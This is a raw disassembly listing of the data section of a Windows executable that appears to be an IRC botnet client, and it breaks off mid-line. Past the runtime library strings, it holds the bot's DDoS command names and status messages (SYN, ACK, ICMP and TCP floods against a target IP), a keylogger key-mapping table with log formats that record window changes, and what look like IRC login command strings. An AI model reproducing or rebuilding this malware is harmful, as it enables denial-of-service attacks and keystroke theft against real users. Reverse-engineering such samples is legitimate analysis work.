1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dbl_424698 dq 9.765625e-4 ; DATA XREF: sub_40CAF1+2BDr ; sub_40CAF1+2D8r ... dbl_4246A0 dq -3.0517578125e-5 ; DATA XREF: sub_415450+1Er dbl_4246A8 dq 1.0 ; DATA XREF: sub_417CA4+6Cr ; sub_417DEB+6Cr ... dd 0FFFFFFFFh, 419CBBh, 419CCFh byte_4246BC db 6 ; DATA XREF: sub_419E38:loc_419E8Fr db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_433C6Co unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_433C68o align 10h a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041AC2Ao align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041ABEBo align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aLog db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_435EBCo align 8 dbl_424818 dq 0.0 ; DATA XREF: sub_41C2F3+8Cr ; sub_41C2F3+ACr ... dbl_424820 dq 4.195835e6 ; DATA XREF: sub_41C808+Fr dbl_424828 dq 3.145727e6 ; DATA XREF: sub_41C808+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C846+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_41C846o align 4 aE000 db 'e+000',0 ; DATA XREF: sub_41C96D+93o align 10h dword_424860 dd 0FFFFFFFFh, 41D058h, 41D062h, 0 ; DATA XREF: sub_41CFF1+5o dword_424870 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D120+5o dd offset loc_41D1DE align 10h dd offset sub_41D1BC dd offset sub_41D1C6 dword_424888 dd 0FFFFFFFFh, 41D40Eh, 41D412h, 0 ; DATA XREF: sub_41D256+5o dword_424898 dd 0FFFFFFFFh, 41D470h, 41D479h, 0 ; DATA XREF: sub_41D41A+5o dword_4248A8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D4FC+5o dd offset loc_41D54D align 8 dd offset loc_41D539 dd offset loc_41D53D dword_4248C0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D552+5o dd offset loc_41D5A3 align 10h dd offset loc_41D58F dd offset loc_41D593 dword_4248D8 dd 2 dup(0) ; DATA XREF: sub_41E709+36o ; sub_41FB63+39o ... dword_4248E0 dd 0FFFFFFFFh, 41E819h, 41E81Dh, 0FFFFFFFFh, 41E8CDh, 41E8D1h ; DATA XREF: sub_41E709+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_4362FCo db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41F885+119o align 4 asc_424BA8 db 0Ah ; DATA XREF: sub_41F885+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41F885+D3o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_41F885+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41F885+7Do align 8 dword_424BE8 dd 0FFFFFFFFh, 41FC5Ch, 41FC60h ; DATA XREF: sub_41FB63+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_42094E+Ao align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_42105F+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_42105F+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_42105F+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4219A9:loc_421A9Eo align 10h a1Inf db '1#INF',0 ; DATA XREF: sub_4219A9+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_4219A9+C7o align 10h a1Snan db '1#SNAN',0 ; DATA XREF: sub_4219A9+ADo align 4 dword_424C88 dd 0FFFFFFFFh, 4223A1h, 4223A5h, 0FFFFFFFFh, 422410h, 422414h ; DATA XREF: sub_4221EA+5o dd 424DC4h off_424CA4 dd offset loc_4227D2 ; DATA XREF: sub_4227AA+8o ; sub_4227EE+2Co ... dd offset sub_4227C5 dd offset sub_4229E6 dd offset dword_424E10 off_424CB4 dd offset sub_42283C ; DATA XREF: sub_4227EE+3Ao ; sub_422858o ... dd offset sub_4227C5 dd offset loc_422A22 dword_424CC0 dd 0 ; DATA XREF: sub_4227EE+16o ; sub_4228C0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_422863+11o dd offset dword_424E5C off_424CE0 dd offset sub_42294B ; DATA XREF: sub_422967o ; sub_42298A+37o ... dd offset sub_4227C5 dd offset loc_422A04 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42298A+11o dd offset dword_424EA0 off_424D00 dd offset loc_422AE7 ; DATA XREF: sub_422AD2o ; ___:off_436A1Co ... dd offset dword_424ED0 off_424D08 dd offset loc_422B03 ; DATA XREF: sub_422B1F+8o ; sub_422B5C+8o ... dd offset sub_422BBC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_422BBC+7o align 8 dword_424D28 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_422BC9+Eo dd 3, 19930520h, 2 dup(0) dword_424D48 dd 0FFFFFFFFh, 422D7Ah, 422D7Eh, 0FFFFFFFFh, 422DF7h, 422DFBh ; DATA XREF: sub_422C78+5o dword_424D60 dd 0FFFFFFFFh, 422FEFh, 422FF3h, 0FFFFFFFFh, 42304Ch, 423050h ; DATA XREF: sub_422F03+5o dd 436A1Ch, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_424D90 dd offset off_436A34 ; DATA XREF: ___:00424DA8o ; ___:00424DF4o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_424D90 dd offset dword_424D60+18h dword_424DB0 dd 3 dup(0) ; DATA XREF: ___:00424DD4o dd 2, 424DA8h, 3 dup(0) dd offset off_436A34 dd offset dword_424DB0+4 off_424DD8 dd offset off_436A54 ; DATA XREF: ___:00424DF0o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_424DD8 dd offset off_424D90 dd offset dword_424D60+18h dword_424DFC dd 3 dup(0) ; DATA XREF: ___:00424E20o dd 3, 424DF0h dword_424E10 dd 3 dup(0) ; DATA XREF: ___:00424CB0o dd offset off_436A54 dd offset dword_424DFC+4 off_424E24 dd offset off_436A74 ; DATA XREF: ___:00424E3Co dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_424E24 dd offset off_424D90 dd offset dword_424D60+18h dword_424E48 dd 3 dup(0) ; DATA XREF: ___:00424E6Co dd 3, 424E3Ch dword_424E5C dd 3 dup(0) ; DATA XREF: ___:00424CDCo dd offset off_436A74 dd offset dword_424E48+4 off_424E70 dd offset off_436A98 ; DATA XREF: ___:00424E88o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_424E70 dword_424E8C dd 3 dup(0) ; DATA XREF: ___:00424EB0o dd 1, 424E88h dword_424EA0 dd 3 dup(0) ; DATA XREF: ___:00424CFCo dd offset off_436A98 dd offset dword_424E8C+4 dd offset dword_424D60+18h dword_424EB8 dd 4 dup(0) ; DATA XREF: ___:00424EE0o dd 1, 424EB4h dword_424ED0 dd 3 dup(0) ; DATA XREF: ___:00424D04o dd offset off_436A1C dd offset dword_424EB8+8 align 8 dword_424EE8 dd 19930520h, 2, 424F08h, 5 dup(0) ; DATA XREF: ___:loc_4230E7o dd 0FFFFFFFFh, 4230D0h, 0 dd offset sub_4230C8 dword_424F18 dd 19930520h, 2, 424F38h, 5 dup(0) ; DATA XREF: ___:loc_423104o dd 0FFFFFFFFh, 4230F4h, 0 dd offset loc_4230FC dword_424F48 dd 19930520h, 2, 424F68h, 1, 424F78h, 3 dup(0) ; DATA XREF: ___:loc_423110o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 424F90h, 4 dup(0) dd offset loc_40477E dd 0FFFFFFFFh, 42311Ah dword_424FA8 dd 19930520h, 1, 424FA0h, 5 dup(0) ; DATA XREF: ___:loc_423122o dd offset off_436A1C align 10h dd 0FFFFFFFFh, 0 dd 0Ch, 422B5Ch, 0 dd offset off_436A34 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 422908h, 0 dd offset off_436A54 align 8 dd 0FFFFFFFFh, 0 dword_425010 dd 1Ch, 422972h, 3, 424FFCh, 424FE0h, 424FC4h ; DATA XREF: ___:00425034o dword_425028 dd 0 ; DATA XREF: sub_422863+2Eo ; sub_4229E6+4Bo dd offset sub_422858 dd 0 dd offset dword_425010+8 dd 0FFFFFFFFh, 42312Ch dword_425040 dd 19930520h, 1, 425038h, 4 dup(0) ; DATA XREF: ___:loc_423134o dd 0FFFFFFFFh, 42313Eh dword_425064 dd 19930520h, 1, 42505Ch, 4 dup(0) ; DATA XREF: ___:loc_423146o dd 0FFFFFFFFh, 423150h dword_425088 dd 19930520h, 1, 425080h, 5 dup(0) ; DATA XREF: ___:loc_423158o dd offset off_436A74 align 10h dd 0FFFFFFFFh, 0 dword_4250B8 dd 1Ch, 4229CEh, 3, 4250A4h, 424FE0h, 424FC4h ; DATA XREF: ___:004250DCo dword_4250D0 dd 0 ; DATA XREF: sub_42298A+2Eo ; sub_4229E6+2Do dd offset sub_422967 dd 0 dd offset dword_4250B8+8 dd 0FFFFFFFFh, 423162h dword_4250E8 dd 19930520h, 1, 4250E0h, 4 dup(0) ; DATA XREF: ___:loc_42316Ao dword_425104 dd 2, 424FE0h, 424FC4h ; DATA XREF: ___:0042511Co dword_425110 dd 0 ; DATA XREF: sub_4229E6+Fo dd offset sub_4227AA dd 0 dd offset dword_425104 dd 5 dup(0EF6F070h), 5 dup(6D614BC2h), 5 dup(4BC198A7h) dd 7Ah dup(0) dd 4BC198A7h, 0 dd 0EF6F070h, 12h dup(0) ; --------------------------------------------------------------------------- retn 614Bh ; --------------------------------------------------------------------------- db 6Dh dd 319h dup(0) dword_426000 dd 0 ; DATA XREF: ___:00419AD7o dd offset sub_4030CC dd offset sub_40482C dd offset sub_40484E dword_426010 dd 0 ; DATA XREF: ___:00419AD2o dword_426014 dd 0 ; DATA XREF: ___:00419AC8o dd offset sub_418682 dd offset sub_41ECF1 dd offset sub_41FA42 dd offset dword_4208B4 dword_426028 dd 0 ; DATA XREF: ___:loc_419AC3o dword_42602C dd 0 ; DATA XREF: sub_419B07+65o dd offset sub_41FAE7 dword_426034 dd 0 ; DATA XREF: sub_419B07:loc_419B67o dword_426038 dd 0 ; DATA XREF: sub_419B07+76o dd offset dword_4208B4+11h dword_426040 dd 4 dup(0) ; DATA XREF: sub_419B07:loc_419B78o unk_426050 db 2 ; DATA XREF: sub_401000+5Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithFloodI db ' Done with flood (%iKB/sec).',0 align 4 unk_426088 db 2 ; DATA XREF: sub_4010B5+302o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendErrorD_ db ' Send error: <%d>.',0 align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_4010B5:loc_4011E1o ; sub_40EE72+268Fo aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_4010B5:loc_4011C5o ; sub_40EE72+2678o align 10h aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_4010B5+F1o ; sub_40EE72+2661o align 4 unk_4260DC db 2 ; DATA XREF: sub_40144A+397o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithSFlood db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 unk_42613C db 2 ; DATA XREF: sub_40144A+307o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPa db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 unk_42619C db 2 ; DATA XREF: sub_40144A+12Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidTargetI db ' Invalid target IP.',0 align 4 unk_4261CC db 2 ; DATA XREF: sub_40144A+C2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSetsockop db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 unk_426214 db 2 ; DATA XREF: sub_40144A:loc_401493o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSocketFai db ' Error: socket() failed, returned: <%d>.',0 align 4 aSupersynDoneWi db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_401831+4Bo align 10h dword_426280 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_4019D7+4Bo dd 2BBBB02h aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0 align 4 dword_4262B8 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401A76+27Do dd 2BBBB02h aSendErrorD__0 db ' Send error: <%d>.',0 dword_4262E4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+4EBo dd 2BBBB02h aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 dword_426344 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+44Fo dd 2BBBB02h aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 aRandom db 'random',0 ; DATA XREF: sub_401D82+312o ; sub_40EE72+2C3Co align 4 aAck db 'ack',0 ; DATA XREF: sub_401D82+2F2o ; sub_40EE72+2C25o aSyn db 'syn',0 ; DATA XREF: sub_401D82+2D2o ; sub_40EE72+2C0Do dword_4263B4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+15Fo dd 2BBBB02h aInvalidTarge_0 db ' Invalid target IP.',0 align 4 dword_4263E4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+EEo dd 2BBBB02h aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 dword_42642C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+70o dd 2BBBB02h aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0 align 10h dw 8 unicode 0, <>,0 aB: ; DATA XREF: sub_4023A7:loc_40248Ao unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_426BA4 dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4023A7+2B6o dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_426BDC dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h ; DATA XREF: sub_4022C6+AEo dd 2202967h, 2002BBBBh, 732520h aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022C6+88o align 4 aAb db 'ab',0 ; DATA XREF: sub_4022C6+4Eo ; sub_40EE72+2AE5o align 4 asc_426C1C: ; DATA XREF: sub_4022C6+2Co unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4023A7+228o align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4023A7+1E5o align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4023A7+8Fo align 4 off_426C68 dd offset off_4274E0 ; DATA XREF: sub_402688+29Er dd offset off_4274DC dd offset off_4274D8 dd offset aHttp ; "HTTP" dword_426C78 dd 6F6C2E3Ah, 6E6967h, 3 dup(0) ; DATA XREF: sub_402688+1DEo dword_426C8C dd 0 ; DATA XREF: sub_402688+297r dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 